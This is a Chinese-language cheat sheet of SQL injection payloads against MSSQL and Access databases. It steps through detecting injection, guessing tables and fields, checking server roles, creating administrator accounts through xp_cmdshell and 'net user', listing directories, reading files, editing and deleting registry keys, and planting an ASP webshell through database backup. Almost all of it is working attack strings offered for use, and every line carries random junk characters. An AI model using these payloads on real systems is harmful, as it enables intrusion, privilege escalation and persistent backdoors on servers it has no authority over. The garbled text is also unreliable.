1.判断是否有注入;and 1=1 ;and 1=2 =IZ[_ /@
2.初步判断是否是mssql ;and user>0 qfYG.~`5
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3.注入参数是字符'and [查询条件] and ''=' PNpu*#Z`
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Uyk,.*8"
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5.判断数据库系统 $mpO?D J~
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;and (select count(*) from msysobjects)>0 access rslvsS:
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 q@l(Qol
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 g1{/ 5{XI
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 m5*[t7@%
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9.(1)猜字段的ascii值(access) [b/o$zR
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 TQc@lR!
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(2)猜字段的ascii值(mssql) M'2r@NR8
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pOA!#Aj)
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10.测试权限结构(mssql) ,Dp0fauJ
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- GeV+/^u
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uel{`T[S
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- wL3,g2- L
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3^wC<ZXcD
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- |^( M{
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- +,5-qm)Gh>
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;and 1=(select IS_MEMBER('db_owner'));-- Sh&PNJ-*
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11.添加mssql和系统的帐户 =Op+v"
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;exec master.dbo.sp_addlogin username;-- #;Tz[0
;exec master.dbo.sp_password null,username,password;-- O{]9hm(tN
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 57Z-
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;exec master.dbo.xp_cmdshell 'net user username password RMP9y$~3pU
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Zu/<NC
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- $,27pkwHeW
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- }6]0hWsN[
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12.(1)遍历目录 uQ/h'v
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;create table dirs(paths varchar(100), id int) Q(Gl{#b
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;insert dirs exec master.dbo.xp_dirtree 'c:\' 1m@^E:w
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) KbW9s,:p
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(2)遍历目录 UE"GJt`I
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- \Qy$I-Du
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Z`Z5sj 4{
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .iwZ*b{
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 YY5!_k
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 DAO]uh{6
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13.mssql中的存储过程 bPbb\|u0d
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xp_regenumvalues 注册表根键, 子键 3V<&|
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 )>a B
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xp_regread 根键,子键,键值名 r 2:2,5_
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 \cJa;WM>
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xp_regwrite 根键,子键, 值名, 值类型, 值 +0l`5."d
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 +-?/e-z")
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xp_regdeletevalue 根键,子键,值名 p
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 IH*s8tPc
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 XzIx:J6
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14.mssql的backup创建webshell w f.T3
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create table cmd(str image); Q,T"Zd Q
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insert into cmd(str) values (''); T#@lDpO
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backup database model to disk='c:\l.asp'; }n:?7
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15.mssql内置函数 ^"\s eS
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;and (select @@version)>0 获得Windows的版本号 jhgX{xc
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa SymwAS+
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;and (select user_name())>0 爆当前系统的连接用户 >r@.F%
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;and (select db_name())>0 得到当前连接的数据库 B;6]NCxD
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16.简洁的webshell a3SlxsWW
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use model 7R.Q
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create table cmd(str image); .jw}JJ
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insert into cmd(str) values (''); rHge~nY<
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backup database model to disk='g:\wwwtest\l.asp';